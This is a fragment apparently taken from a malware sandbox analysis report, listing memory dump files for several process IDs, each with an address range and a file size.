                        • memory/1824-64-0x0000000000800000-0x0000000001A54000-memory.dmp

                          Filesize

                          18.3MB

                        • memory/1824-63-0x0000000000800000-0x0000000001A54000-memory.dmp

                          Filesize

                          18.3MB

                        • memory/3476-41-0x0000000006730000-0x000000000674E000-memory.dmp

                          Filesize

                          120KB

                        • memory/3476-47-0x0000000008BD0000-0x0000000009174000-memory.dmp

                          Filesize

                          5.6MB

                        • memory/3476-27-0x0000000005EC0000-0x0000000005EE2000-memory.dmp

                          Filesize

                          136KB

                        • memory/3476-49-0x0000000009180000-0x000000000DAC3000-memory.dmp

                          Filesize

                          73.3MB

                        • memory/3476-29-0x00000000060C0000-0x0000000006126000-memory.dmp

                          Filesize

                          408KB

                        • memory/3476-35-0x0000000006130000-0x0000000006484000-memory.dmp

                          Filesize

                          3.3MB

                        • memory/3476-26-0x0000000005810000-0x0000000005E38000-memory.dmp

                          Filesize

                          6.2MB

                        • memory/3476-45-0x00000000079E0000-0x0000000007A76000-memory.dmp

                          Filesize

                          600KB

                        • memory/3476-42-0x0000000006760000-0x00000000067AC000-memory.dmp

                          Filesize

                          304KB

                        • memory/3476-25-0x0000000005180000-0x00000000051B6000-memory.dmp

                          Filesize

                          216KB

                        • memory/3476-43-0x0000000007FA0000-0x000000000861A000-memory.dmp

                          Filesize

                          6.5MB

                        • memory/3476-44-0x0000000006CB0000-0x0000000006CCA000-memory.dmp

                          Filesize

                          104KB

                        • memory/3476-46-0x0000000007970000-0x0000000007992000-memory.dmp

                          Filesize

                          136KB

                        • memory/3476-28-0x0000000005F60000-0x0000000005FC6000-memory.dmp

                          Filesize

                          408KB

                        • memory/3944-21-0x00007FF8470A0000-0x00007FF847B61000-memory.dmp

                          Filesize

                          10.8MB

                        • memory/3944-24-0x00007FF8470A0000-0x00007FF847B61000-memory.dmp

                          Filesize

                          10.8MB

                        • memory/3944-20-0x00007FF8470A0000-0x00007FF847B61000-memory.dmp

                          Filesize

                          10.8MB

                        • memory/3944-19-0x00007FF8470A3000-0x00007FF8470A5000-memory.dmp

                          Filesize

                          8KB

                        • memory/3944-16-0x00007FF8470A0000-0x00007FF847B61000-memory.dmp

                          Filesize

                          10.8MB

                        • memory/3944-15-0x00007FF8470A0000-0x00007FF847B61000-memory.dmp

                          Filesize

                          10.8MB

                        • memory/3944-14-0x000002342DBD0000-0x000002342DBF2000-memory.dmp

                          Filesize

                          136KB

                        • memory/3944-4-0x00007FF8470A3000-0x00007FF8470A5000-memory.dmp

                          Filesize

                          8KB

                        • memory/4776-86-0x0000000000400000-0x0000000000478000-memory.dmp

                          Filesize

                          480KB

                        • memory/4776-82-0x0000000000400000-0x0000000000478000-memory.dmp

                          Filesize

                          480KB

                        • memory/4776-84-0x0000000000400000-0x0000000000478000-memory.dmp

                          Filesize

                          480KB

                        • memory/4776-79-0x0000000000400000-0x0000000000478000-memory.dmp

                          Filesize

                          480KB